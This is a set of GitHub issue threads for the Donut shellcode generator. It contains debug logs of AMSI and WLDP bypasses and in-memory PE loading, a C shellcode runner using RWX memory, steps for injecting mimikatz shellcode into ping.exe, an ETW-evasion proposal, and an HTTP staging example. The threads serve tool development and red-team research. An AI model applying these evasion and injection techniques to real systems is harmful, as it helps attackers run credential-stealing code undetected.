DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetProcAddress         = FAB0AE969B017E0B
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetModuleHandleA       = D724A33874DB7868
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualAlloc           = EC3A34FF852C8DA6
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualFree            = 122563EE3D349FCB
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualQuery           = B5DA04ECC4AB476
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : VirtualProtect         = 1AC0FE9F635C58DC
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : Sleep                  = BEA29614205E7C70
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : MultiByteToWideChar    = 63647A06DD8F3549
DEBUG: donut.c:691:CreateInstance(): Hash for kernel32.dll    : GetUserDefaultLCID     = 89F58D639D1DCC36
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreate        = 67E1E7A184D3F769
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayCreateVector  = 9E4807E146DFB7DE
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayPutElement    = 595648A793AAC0F5
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayDestroy       = 3C95DAE96B9AA7C7
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetLBound     = 43A289E081CEE4DA
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SafeArrayGetUBound     = 4D7F534264432B27
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SysAllocString         = 67B14B010317DA88
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : SysFreeString          = 82AC3F71770BB511
DEBUG: donut.c:691:CreateInstance(): Hash for oleaut32.dll    : LoadTypeLib            = 13BA13DAA3578E1A
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetCrackUrlA      = E325E512127959C8
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetOpenA          = 861FF063A79DD483
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetConnectA       = 9263EC0B9739E72D
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetSetOptionA     = 41C02E589751D1DF
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetReadFile       = FCD711CD0BAA4B19
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : InternetCloseHandle    = ADCBEADC713F7C66
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpOpenRequestA       = D6E2A37B11777014
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpSendRequestA       = 51786C66F73C6F70
DEBUG: donut.c:691:CreateInstance(): Hash for wininet.dll     : HttpQueryInfoA         = 56AF03D19CD82713
DEBUG: donut.c:691:CreateInstance(): Hash for mscoree.dll     : CorBindToRuntime       = DCC59EDA1DEAD734
DEBUG: donut.c:691:CreateInstance(): Hash for mscoree.dll     : CLRCreateInstance      = 4C8B3175B83FB0F8
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoInitializeEx         = B654CBED3853909B
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoCreateInstance       = 28E28E9A7F4F53EB
DEBUG: donut.c:691:CreateInstance(): Hash for ole32.dll       : CoUninitialize         = 3202CF1D21697E7F
DEBUG: donut.c:804:CreateInstance(): Copying module data to instance
DEBUG: donut.c:809:CreateInstance(): encrypting instance
DEBUG: donut.c:821:CreateInstance(): Leaving.
DEBUG: donut.c:981:DonutCreate(): Saving instance to file
DEBUG: donut.c:1014:DonutCreate(): PIC size : 3240886
DEBUG: donut.c:1021:DonutCreate(): Inserting opcodes
DEBUG: donut.c:1057:DonutCreate(): Copying 16111 bytes of x86 + amd64 shellcode
DEBUG: donut.c:268:unmap_file(): Unmapping
DEBUG: donut.c:271:unmap_file(): Closing
DEBUG: donut.c:1083:DonutCreate(): Leaving.
  [ Instance type : PIC
  [ Module file   : "msgbox.exe"
  [ File type     : EXE
  [ Target CPU    : x86+AMD64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "payload.bin"

DEBUG: donut.c:1091:DonutDelete(): Entering.
DEBUG: donut.c:1110:DonutDelete(): Leaving.

Instance run

> donut/payload/payload.exe instance
Running...
DEBUG: payload.c:46:ThreadProc(): Maru IV : EB4A78958ABBBAFE
DEBUG: payload.c:49:ThreadProc(): Resolving address for VirtualAlloc() : EC3A34FF852C8DA6
DEBUG: payload.c:53:ThreadProc(): Resolving address for VirtualAlloc() : 122563EE3D349FCB
DEBUG: payload.c:62:ThreadProc(): VirtualAlloc : 00007FFB2B809D80 VirtualFree : 00007FFB2B809DA0
DEBUG: payload.c:64:ThreadProc(): Allocating 3224743 bytes of RW memory
DEBUG: payload.c:71:ThreadProc(): Copying 3224743 bytes of data to memory 0000000000D50000
DEBUG: payload.c:75:ThreadProc(): Zero initializing PDONUT_ASSEMBLY
DEBUG: payload.c:83:ThreadProc(): Decrypting 3224743 bytes of instance
DEBUG: payload.c:90:ThreadProc(): Generating hash to verify decryption
DEBUG: payload.c:92:ThreadProc(): Instance : 4dfa180a90ced2eb | Result : 4dfa180a90ced2eb
DEBUG: payload.c:99:ThreadProc(): Resolving LoadLibraryA
DEBUG: payload.c:105:ThreadProc(): Loading ole32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading oleaut32.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading wininet.dll ...
DEBUG: payload.c:105:ThreadProc(): Loading mscoree.dll ...
DEBUG: payload.c:109:ThreadProc(): Resolving 33 API
DEBUG: payload.c:112:ThreadProc(): Resolving API address for FAB0AE969B017E0B
DEBUG: payload.c:112:ThreadProc(): Resolving API address for D724A33874DB7868
DEBUG: payload.c:112:ThreadProc(): Resolving API address for EC3A34FF852C8DA6
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 122563EE3D349FCB
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 0B5DA04ECC4AB476
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 1AC0FE9F635C58DC
DEBUG: payload.c:112:ThreadProc(): Resolving API address for BEA29614205E7C70
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 63647A06DD8F3549
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 89F58D639D1DCC36
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 67E1E7A184D3F769
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 9E4807E146DFB7DE
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 595648A793AAC0F5
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 3C95DAE96B9AA7C7
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 43A289E081CEE4DA
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 4D7F534264432B27
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 67B14B010317DA88
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 82AC3F71770BB511
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 13BA13DAA3578E1A
DEBUG: payload.c:112:ThreadProc(): Resolving API address for E325E512127959C8
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 861FF063A79DD483
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 9263EC0B9739E72D
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 41C02E589751D1DF
DEBUG: payload.c:112:ThreadProc(): Resolving API address for FCD711CD0BAA4B19
DEBUG: payload.c:112:ThreadProc(): Resolving API address for ADCBEADC713F7C66
DEBUG: payload.c:112:ThreadProc(): Resolving API address for D6E2A37B11777014
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 51786C66F73C6F70
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 56AF03D19CD82713
DEBUG: payload.c:112:ThreadProc(): Resolving API address for DCC59EDA1DEAD734
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 4C8B3175B83FB0F8
DEBUG: payload.c:112:ThreadProc(): Resolving API address for B654CBED3853909B
DEBUG: peb.c:87:FindExport(): b654cbed3853909b is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 28E28E9A7F4F53EB
DEBUG: peb.c:87:FindExport(): 28e28e9a7f4f53eb is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance)
DEBUG: payload.c:112:ThreadProc(): Resolving API address for 3202CF1D21697E7F
DEBUG: peb.c:87:FindExport(): 3202cf1d21697e7f is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize)
DEBUG: payload.c:128:ThreadProc(): Using module embedded in instance
DEBUG: bypass.c:111:DisableAMSI(): Length of AmsiScanBufferStub is 37 bytes.
DEBUG: bypass.c:121:DisableAMSI(): Overwriting AmsiScanBuffer
DEBUG: bypass.c:136:DisableAMSI(): Length of AmsiScanStringStub is 37 bytes.
DEBUG: bypass.c:146:DisableAMSI(): Overwriting AmsiScanString
DEBUG: payload.c:139:ThreadProc(): DisableAMSI OK
DEBUG: bypass.c:325:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 23 bytes.
DEBUG: bypass.c:349:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 37 bytes.
DEBUG: payload.c:145:ThreadProc(): DisableWLDP OK
DEBUG: inmem_pe.c:89:RunPE(): Using module embedded in instance
DEBUG: inmem_pe.c:111:RunPE(): Allocating 3186688 (0x30a000) bytes of RWX memory for file
DEBUG: inmem_pe.c:120:RunPE(): Copying Headers
DEBUG: inmem_pe.c:123:RunPE(): Copying each section to RWX memory 0000000002C10000
DEBUG: inmem_pe.c:135:RunPE(): Processing the Import Table
DEBUG: inmem_pe.c:143:RunPE(): Loading KERNEL32.dll
DEBUG: inmem_pe.c:143:RunPE(): Loading msvcrt.dll
DEBUG: inmem_pe.c:234:RunPE(): Processing TLS directory

Result: No message boxes. Execution terminates seemingly without error.

Run shellcode

./runsc.exe -f payload.bin -x

[ run shellcode v0.2
[ reading code from payload.bin
[ executing code...OK!

Result: No message boxes

Go DLL with Dllmain

At one point, I had a Go DLL working as donut shellcode. By placing the function call in Dllmain on the ON_PROCESS_ATTACH. However, I cannot reproduce. (This was over a week ago, so a few commits back.)

I'm still debugging, but hopefully this helps!

[feature] compress then/or encrypt

It would be nice to have compression as a feature. This could either be implemented as compress or encrypt, or compress and encrypt. Compressing an already encrypted payload is not viable.

I think compressapi would probably work: https://docs.microsoft.com/en-us/windows/win32/api/compressapi/nf-compressapi-compress

I'm happy to try to do this myself, but could do with some guidance on where to implement. Initial thoughts are that this wouldn't neccessarily be easy, would probably require some stub that isn't compressed who's sole purpose is to decompress the actual payload and inject it into memory.

As a workaround, currently we would have to generate shellcode from donut (with encryption disabled). Compress the shellcode file. Put this data into another executable that decompresses and injects into memory, and then finally use donut on this new file to get the final shellcode.

Question / enhancement : retrieving the output of the donut shellcode in C#

Hey, I really would welcome your help, pointers perhaps implementing a feature in your project that allows to retrieve the output of the donut shellcode when ran through C#. I have seen DonutTest project and it works wonders when executing the shellcode but I am wondering how to get the output of for eg. mimikatz just like you do with the loader instance. I am looking to built / implement something that Phra did in this case:

image

How something like that can be accomplished in C# ?

Many thanks in advance as well as your efforts you put into this project.

x64 .NET EXE not working

Since this commit: 0c1d3d0
Donut is not working properly when it comes to a x64 .NET EXE.

previous to that commit, is working fine (except the python module, which got fixed in a later commit here: e71cde1)

Hope this helps fixing the issue,
Regards.

commandline issues with unamanaged exe compiled with vs2019

Hi @odzhan ,
recently i found some issues in the master branch for the commandline of exe compiled with vs2019 gui.

Using the following sample as an exe program:

#include <stdio.h>

int wmain (int argc, wchar_t **argv)
{
    wprintf(L"\nHello from WMAIN\n");
    wprintf(L"\nArgc: %d\n", argc);
    for(int i=0; i<argc; i++)
        wprintf(L"\nArgv[%d]: %s\n", i, argv[i]);
    wprintf(L"\nWMAIN End. BB!\n");
    return 0;
}

If you compile that in x64 default release from the gui it will generate a different exe with different import than the usual __getmainargs/__wgetmainargs and GetCommandLineA/GetCommandLineW.
If i try to generate the PIC of this exe i won't get the correct commandline passed to the main.

I dig into it and found out the flags used by the gui for the compiler and they are as follow:

cl /c /Zi /nologo /W3 /WX- /diagnostics:column /sdl /O2 /Oi /GL /D NDEBUG /D _CONSOLE /D _UNICODE /D UNICODE /Gm- /EHsc /MD /GS /Gy /fp:precise /permissive- /Zc:wchar_t /Zc:forScope /Zc:inline /Gd /TC /FC C:\USERS\SPLINTERCODE\SOURCE\REPOS\TEST_DONUT_MAIN\TEST_DONUT_MAIN.C

link /OUT:"TEST_DONUT_MAIN.EXE" /INCREMENTAL:NO /NOLOGO KERNEL32.LIB USER32.LIB GDI32.LIB WINSPOOL.LIB COMDLG32.LIB ADVAPI32.LIB SHELL32.LIB OLE32.LIB OLEAUT32.LIB UUID.LIB ODBC32.LIB ODBCCP32.LIB /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG:incremental /TLBID:1 /DYNAMICBASE /NXCOMPAT /MACHINE:X64 TEST_DONUT_MAIN.OBJ

I couldn't found anything "strange" in the flags. The only unusual thing i noticed was in the imported functions of the exe, i saw : "__p___argc", "__p___argv" and "__p___wargv" imported in the exe.
Hooking those functions fixed this issue and i could see the commandline arguments parsed as expected in the final PIC.
I made this change in antonioCoco/donut@ec105faa92f573e892f669ebcdfbfd5c0ac1dfc8 and i managed to fix this issue in my hook branch. Soon i will submit a PR in order to merge with the main hook branch.

Unfortunately i couldn't find a fix by just patching .data section for the master branch version.

Attached the compiled exe:
TEST_DONUT_MAIN.zip

Patch to RTL_USER_PROCESS_PARAMETERS does not work

I'm trying to run mimikatz in memory while being able to pass command line parameters. But donut failed to patch RTL_USER_PROCESS_PARAMETERS->CommandLine, the command line isn't changed.

OS

  1. Windows 8

To reproduce this issue:

  1. Run ping -n 1000 127.0.0.1
  2. Build shellcode donut mimikatz64.exe -p "privilege::debug exit"
  3. Use loader/inject.c to inject into ping.exe

And mimikatz still uses old parameter: -n 1000 127.0.0.1

screenshot 2020-02-17 at 10 37 16 AM

I know windows would make a copy of PEB and store it somewhere during startup, not sure why donut failed to patch the unicode string

Support the exit parameter in the Python module (donut-shellcode)

When using the donut python module is not possible to specify the exit function (thread or process)

If I understood the code correctly, it shouldn't be too hard, just add this code at the end of ThreadProc in payload.c on the donut-shellcode C code. (I couldn't find the repo of the python module, just downloaded the code from here)

Hope you will consider adding this options.
Thank you

[Feature] Encryption Command Line Switch

Good morning/evening everyone;

As discusses with @TheWover yesterday, a command line switch for enabling/disabling shellcode encryption would be a good idea.

At the moment, the shellcode is encrypted solely if the "NOCRYPTO" flag is not set during the compilation of the program. In order to have something more flexible a command line switch would be much better.

My idea is to add a global integer variable in the donut.h header file, which will by default set to 0.

in ENCRYPT_SHELLCODE = 0

Then modify all the #if !defined(NOCRYPTO) directive for an if statement. For example:

#if !defined(NOCRYPTO)
    DPRINT("Generating random key for instance");
    if(!CreateRandom(&inst_key, sizeof(DONUT_CRYPT))) {
      return DONUT_ERROR_RANDOM;
    }
    memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT));
    
    DPRINT("Generating random key for module");
    if(!CreateRandom(&mod_key, sizeof(DONUT_CRYPT))) {
      return DONUT_ERROR_RANDOM;
    }
    memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT));
    
    DPRINT("Generating random string to verify decryption");
    if(!GenRandomString(inst->sig, DONUT_SIG_LEN)) {
      return DONUT_ERROR_RANDOM;
    }
   
    DPRINT("Generating random IV for Maru hash");
    if(!CreateRandom(&inst->iv, MARU_IV_LEN)) {
      return DONUT_ERROR_RANDOM;
    }
#endif

Will be modified into this:

if (ENCRYPT_SHELLCODE) {
DPRINT("Generating random key for instance");
    if(!CreateRandom(&inst_key, sizeof(DONUT_CRYPT))) {
      return DONUT_ERROR_RANDOM;
    }
    memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT));
    
    DPRINT("Generating random key for module");
    if(!CreateRandom(&mod_key, sizeof(DONUT_CRYPT))) {
      return DONUT_ERROR_RANDOM;
    }
    memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT));
    
    DPRINT("Generating random string to verify decryption");
    if(!GenRandomString(inst->sig, DONUT_SIG_LEN)) {
      return DONUT_ERROR_RANDOM;
    }
   
    DPRINT("Generating random IV for Maru hash");
    if(!CreateRandom(&inst->iv, MARU_IV_LEN)) {
      return DONUT_ERROR_RANDOM;
    }
}

More than happy to work on this if you think that it is worth it.

Cheers,
Paul.

[make error] defining NOCRYPTO causes compilation error

When NOCRYPTO is defined, the following compilation errors occur:

$ make
gcc -Wall -fpack-struct=8 -DDONUT_EXE -DNOCRYPTO -I include donut.c hash.c encrypt.c payload/clib.c -odonut
In file included from donut.c:32:0:
include/donut.h:97:40: error: ‘CIPHER_KEY_LEN’ undeclared here (not in a function); did you mean ‘DONUT_KEY_LEN’?
#define DONUT_KEY_LEN CIPHER_KEY_LEN
^
include/donut.h:198:16: note: in expansion of macro ‘DONUT_KEY_LEN’
BYTE mk[DONUT_KEY_LEN]; // master key
^~~~~~~~~~~~~
include/donut.h:98:40: error: ‘CIPHER_BLK_LEN’ undeclared here (not in a function); did you mean ‘CIPHER_KEY_LEN’?
#define DONUT_BLK_LEN CIPHER_BLK_LEN
^
include/donut.h:199:17: note: in expansion of macro ‘DONUT_BLK_LEN’
BYTE ctr[DONUT_BLK_LEN]; // counter + nonce
^~~~~~~~~~~~~
In file included from include/donut.h:57:0,
from donut.c:32:
donut.c: In function ‘rva2ofs’:
include/pe.h:251:6: warning: implicit declaration of function ‘offsetof’; did you mean ‘feof’? [-Wimplicit-function-declaration]
offsetof( IMAGE_NT_HEADERS, OptionalHeader ) +
^
donut.c:205:11: note: in expansion of macro ‘IMAGE_FIRST_SECTION’
sh = IMAGE_FIRST_SECTION(nt);
^~~~~~~~~~~~~~~~~~~
include/pe.h:251:16: error: expected expression before ‘IMAGE_NT_HEADERS’
offsetof( IMAGE_NT_HEADERS, OptionalHeader ) +
^
donut.c:205:11: note: in expansion of macro ‘IMAGE_FIRST_SECTION’
sh = IMAGE_FIRST_SECTION(nt);
^~~~~~~~~~~~~~~~~~~
donut.c: In function ‘CreateInstance’:
donut.c:662:33: error: ‘MARU_IV_LEN’ undeclared (first use in this function)
if(!CreateRandom(&inst->iv, MARU_IV_LEN)) {
^~~~~~~~~~~
donut.c:662:33: note: each undeclared identifier is reported only once for each function it appears in
donut.c:670:18: warning: implicit declaration of function ‘maru’ [-Wimplicit-function-declaration]
dll_hash = maru(api_imports[cnt].module, inst->iv);
^~~~
donut.c:615:31: warning: unused variable ‘mod_key’ [-Wunused-variable]
DONUT_CRYPT inst_key, mod_key;
^~~~~~~
donut.c:615:21: warning: unused variable ‘inst_key’ [-Wunused-variable]
DONUT_CRYPT inst_key, mod_key;
^~~~~~~~
Makefile:2: recipe for target 'donut' failed
make: *** [donut] Error 1

Does not work with cygwin compiled binaries

I'm trying to run a cygwin compiled binary in memory. According to the document, only PE with relocation table is supported, so I compiled the binary with .reloc section (required binutils 2.34):

main.c

#include <stdio.h>

int main (int argc, char **argv)
{
    FILE *fp = fopen("works.txt", "w+");
    if (fp)
    {
    	fprintf(fp, "It worked!\n");
    	fclose(fp);
    }
    else
    {
    	perror("fopen");
    }
    
    return 0;
}

Compile it when reloc table:

gcc main.c -o /cygdrive/c/main.exe -Wl,--enable-reloc-section

Confirm the binary file runs, and works.txt is generated in CWD.

c:\donut-master>c:\main.exe
c:\donut-master>type works.txt
It worked!

Then I execute the following commands for debugging purpose:

c:\donut-master>donut main.exe
c:\donut-master>loader instance

No works.txt created, so donut does not work with cygwin compiled binaries.

Logs

  1. donut.txt
  2. loader.txt
  3. cygwin.dll and main.exe

[Feature] Unload ApplicationDomain when .NET execution completes

Received a request to add a feature for unloading newly created Application Domains after the execution of the payload is complete. We have looked into this before but did not end up adding it. Let's see if we can prototype a reliable unloader after the Assembly finishes. We may be able to just AppDomain.Unload() in FreeAssembly or LoadAssembly before the loader calls RtlExitUserThread/RtlExitUserProcess.

If we find that that prematurely exits, then we may need to leverage the .NET Debugging API to wait for execution of managed code in the process to finish.

error LNK2019: unresolved external symbol

Getting errors about he externals link during the compile made it a fail:


** Visual Studio 2019 Developer Command Prompt v16.8.0
** Copyright (c) 2020 Microsoft Corporation


C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise>cd \temp\donut

C:\temp\donut>nmake -f Makefile.msvc

Microsoft (R) Program Maintenance Utility Version 14.28.29333.0
Copyright (C) Microsoft Corporation. All rights reserved.

Could Not Find C:\temp\donut\mmap-windows.obj
Could Not Find C:\temp\donut\lib\libdonut.lib

Building exe2h
    cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c

exe2h.c
mmap-windows.c
Generating Code...

Building loader
    cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c

loader.c
hash.c
encrypt.c
depack.c
clib.c
Generating Code...
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
exe2h loader.exe
[ Found valid DOS and NT header.
[ Locating .text section.
[ saved code to loader_exe_x86.h
[ saved code to loader_exe_x86.go

Building generator
    rc include/donut.rc

Microsoft (R) Windows (R) Resource Compiler Version 10.0.10011.16384
Copyright (C) Microsoft Corporation. All rights reserved.

    cl -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include/donut.res

donut.c
hash.c
encrypt.c
format.c
clib.c
Generating Code...
donut.obj : error LNK2019: unresolved external symbol _aP_pack referenced in function _compress_file
donut.obj : error LNK2019: unresolved external symbol _aP_workmem_size referenced in function _compress_file
donut.obj : error LNK2019: unresolved external symbol _aP_max_packed_size referenced in function _compress_file
lib\aplib64.lib : warning LNK4272: library machine type 'x64' conflicts with target machine type 'x86'
donut.exe : fatal error LNK1120: 3 unresolved externals
NMAKE : fatal error U1077: '"C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\VC\Tools\MSVC\14.28.29333\bin\HostX86\x86\cl.EXE"' : return code '0x2'
Stop.

i did git clone in a fresh folder.
anything i do wrong ?

thanks

[Feature] Update the Command Switches

This is definitely not an high priority issue, but updating the current command switches and parser would be a good idea.

At the moment, switches are only one char (e.g. "-n", "-a"). Therefore, command line switches are limited and are not really convenient. Additionally, some switches are a bit confusing, for example, the "-e" switch is used for the output format when this should be something like "-format".

Something like that, for example:

printf("       -a, -arch<arch>            Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).\n");
printf("       -o, -out <outfile_file>    Default is \"loader.bin\"\n");
printf("       -format <format>          Output in the specified format. 1=raw (default), 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex\n");

'format' is an invalid keyword argument for this function

Hi,

When I try to call the Python function and pass in hexadecimal as the format, it throws this error. Is the format parameter not supported?

import donut
shellcode = donut.create(file="foo.exe", arch=2, format=8)

Traceback (most recent call last):
File "shellcode.py", line 5, in
shellcode = donut.create(file="foo.exe", arch=2, format=8)
TypeError: 'format' is an invalid keyword argument for this function

ERROR: open /tmp/shellcode.bin.donut: no such file or directory

`[?] Unhook enabled
[?] Anti-debug enabled
[?] Syscalls enabled
[?] Payload will be put in .text section
[?] Final shellcode will be encoded with sgn
[?] Waiting 5 seconds before executing the payload
[?] Processing binaries/JuicyPotato.exe
[?] PE detected: binaries/JuicyPotato.exe: PE32+ executable (console) x86-64, for MS Windows
[?] Executing donut

[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan

usage: donut [options] <EXE/DLL/VBS/JS>

   Only the finest artisanal donuts are made of shells.

               -MODULE OPTIONS-

   -n <name>            Module name for HTTP staging. If entropy is enabled, this is generated randomly.
   -s <server>          HTTP server that will host the donut module.
   -e <level>           Entropy. 1=None, 2=Use random names, 3=Random names + symmetric encryption (default)

               -PIC/SHELLCODE OPTIONS-

   -a <arch>            Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default).
   -b <level>           Bypass AMSI/WLDP : 1=None, 2=Abort on fail, 3=Continue on fail.(default)
   -o <path>            Output file to save loader. Default is "loader.bin"
   -f <format>          Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex
   -y <addr>            Create thread for loader and continue execution at <addr> supplied.
   -x <action>          Exiting. 1=Exit thread (default), 2=Exit process

               -FILE OPTIONS-

   -c <namespace.class> Optional class name. (required for .NET DLL)
   -d <name>            AppDomain name to create for .NET assembly. If entropy is enabled, this is generated randomly.
   -m <method | api>    Optional method or function for DLL. (a method is required for .NET DLL)
   -p <arguments>       Optional parameters/command line inside quotations for DLL method/function or EXE.
   -w                   Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)
   -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
   -t                   Execute the entrypoint of an unmanaged EXE as a thread.
   -z <engine>          Pack/Compress file. 1=None, 2=aPLib

examples:

donut c2.dll
donut -a1 -cTestClass -mRunProcess -pnotepad.exe loader.dll
donut loader.dll -c TestClass -m RunProcess -p"calc notepad" -s http://remote_server.com/modules/

[?] Executing sgn
__ _ __ __ _
___ / / () /_____ / /__ _ ___ ____ _ ___ ___ ()
(-</ _ / / '/ _ / __/ _ / / _ / _ / / _ / _ / / /___/_//_/_/_/\_\\_,_/\__/\_,_/ \_, /\_,_/ /_//_/\_,_/_/ ========[Author:-Ege-Balcı-]====/___/=======v2.0.0========= ┻━┻ ︵ヽ(Д´)ノ︵ ┻━┻ (ノ ゜Д゜)ノ ︵ 仕方がない

2020/09/20 22:32:56 [MAIN] ERROR: open /tmp/shellcode.bin.donut: no such file or directory
root@kali:~/HTB/rastalab/PEzor# locate shellcode.bin.donut
`

any idea how to deal with this error? I tried everything! Installl it and impotred the PATH

[Feature] Add ETW Bypass

ETW Bypass

Feature addition for v0.9.3.

Event Tracing for Windows can be used to monitor the CLR for events related to the loading of .NET Assemblies from memory. As Adam Chester (xpn) recently demonstrated in his blog, it can be bypassed in-process like with AMSI: https://blog.xpnsec.com/hiding-your-dotnet-etw/

For v0.9.3, we should add ETW bypasses to the modular bypass system like we have for AMSI and WLDP. I propose the following techniques for bypassing ETW:

  1. Patching ntdll!EtwEventWrite to return rather than that send an ETW message. Same as in xpn's blog post.
  2. Hook ntdll!EtwEventWrite, filter for events related to the CLR, and drop all of them.
  3. Hook ntdll!EtwEventWrite, filter for events related to the loading of Assemblies from memory, and swap their information so that it appears that mscorlib.dll is being loaded instead.

These bypasses demonstrate three different types of ways to attack ETW and should be a sufficient starting point for anybody wanting to add more sophisticated implementations.

For 2 and 3, we would need to add a simple hooking mechanism into Donut. We had discussed this in the past. I think this is finally a use case worth adding it into Donut. An open question then, is how do we want to add the hooking functionality? I propose adding loader/hook.c and using a very simple implementation of EAT Hooking. I welcome input on this.

This will be the last significant feature addition for v0.9.3 final release.

Does not work on Windows 2008 R2 without SP1

The OS version of Windows 2008 R2 SP1 is 6.1.7601, donut works great from this version to latest Windows 2019. But on OS slightly older, it just won't run.

Environment

  • Windows 2008 R2 without SP1, no patch installed, aka 6.1.7600
  • donut 0.9.3 (master branch, built today)

Problem

  • shellcode is executed but .NET code does not run

Steps to reproduce the issue

Download lib.txt and rename it to lib1.cs, compile with:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc -target:library lib1.cs

Create shellcode

%> donut-master\donut.exe -c Lib1.Class1 -m Test lib.dll

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "lib.dll"
  [ Entropy       : Random names + Encryption
  [ File type     : .NET DLL
  [ Class         : Lib1.Class1
  [ Method        : Test
  [ Target CPU    : x86+amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "loader.bin"

Create header from loader.bin

xxd -i loader.bin > loader.h

Create main.c

#include <windows.h>
#include "loader.h"

int main(int argc, char **argv)
{
	LPVOID *buffer = VirtualAlloc(NULL, sizeof(loader_bin), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(buffer, loader_bin, loader_bin_len);

	HANDLE hThread = (void*) _beginthread((void (*) (void*))buffer, 0, 0);
	WaitForSingleObject (hThread, -1);

	return 0;
}

Run on Windows 2008 R2 (Without SP1), shellcode runs but no effect; Run on any other OS (2008 R2 SP1, 2012 - 2019) with .NET 3.5 enabled, it works.

What I have tried

I tried to build the loader in debug mode, but DPRINT seem to use msvcrt API instead of OutputDebugString, so it won't work as shellcode unless you resolve the hash for it.

While fixing this issue, can you also make the loader "debuggable"? The Makefile.msvc is also weird, it only build the loader in release mode.

Generated shellcode does not work

What's wrong ?

